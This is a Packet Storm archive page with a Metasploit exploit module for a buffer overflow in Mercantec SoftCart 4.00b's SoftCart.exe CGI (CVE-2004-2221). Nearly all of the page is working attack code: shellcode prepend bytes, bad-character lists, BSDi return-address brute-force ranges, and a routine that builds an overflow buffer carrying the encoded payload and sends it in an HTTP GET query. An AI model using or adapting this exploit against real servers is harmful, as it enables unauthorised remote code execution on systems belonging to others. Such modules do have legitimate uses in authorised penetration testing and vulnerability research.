exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Mercantec Softcart CGI Overflow

Mercantec Softcart CGI Overflow
Posted Oct 27, 2009
Authored by trew, skape

This is an exploit for an undisclosed buffer overflow in the SoftCart.exe CGI as shipped with Mercantec's shopping cart software. It is possible to execute arbitrary code by passing a malformed CGI parameter in an HTTP GET request. This issue is known to affect SoftCart version 4.00b.

tags | exploit, web, overflow, arbitrary, cgi
advisories | CVE-2004-2221
SHA-256 | c9dccfe5b7419f70e2a30a4c2e34c682780607f4dc1a5b5945ab9f5f4cef63b9

Mercantec Softcart CGI Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Brute
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Mercantec SoftCart CGI Overflow',
'Description' => %q{
This is an exploit for an undisclosed buffer overflow
in the SoftCart.exe CGI as shipped with Mercantec's shopping
cart software. It is possible to execute arbitrary code
by passing a malformed CGI parameter in an HTTP GET
request. This issue is known to affect SoftCart version
4.00b.
},
'Author' => [ 'skape', 'trew' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2004-2221'],
[ 'OSVDB', '9011'],
[ 'BID', '10926'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\x27\x5c\x3c\x3e\x3b\x22\x60\x7e\x24\x5e\x2a\x26\x7c\x7b\x7d\x28\x29\x3f\x5d\x5b\x00",
'MinNops' => 16,
'Prepend' => "\x6a\x02\x58\x50\x9a\x00\x00\x00\x00\x07\x00\x85\xd2\x75\x0a\x31\xc0\x40\x9a\x00\x00\x00\x00\x07\x00",
'PrependEncoder' => "\x83\xec\x7f",
},
'Platform' => 'bsdi',
'Targets' =>
[
[
'BSDi/4.3 Bruteforce',
{
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xefbf3000 },
'Stop' => { 'Ret' => 0xefbffffc },
'Step' => 0
}
},
],
],
'DisclosureDate' => 'Aug 19 2004',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URI', [ false, "The target CGI URI", '/cgi-bin/SoftCart.exe' ])
], self.class)
end

def brute_exploit(address)

buffer =
"MAA+scstoreB" +
rand_text_alphanumeric(512) +
[address['Ret']].pack('V') +
"MSF!" +
[address['Ret'] + payload.encoded.length].pack('V') +
payload.encoded

print_status("Trying #{"%.8x" % address['Ret']}...")
res = send_request_raw({
'uri' => datastore['URI'],
'query' => buffer
}, 5)

handler
end

end

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close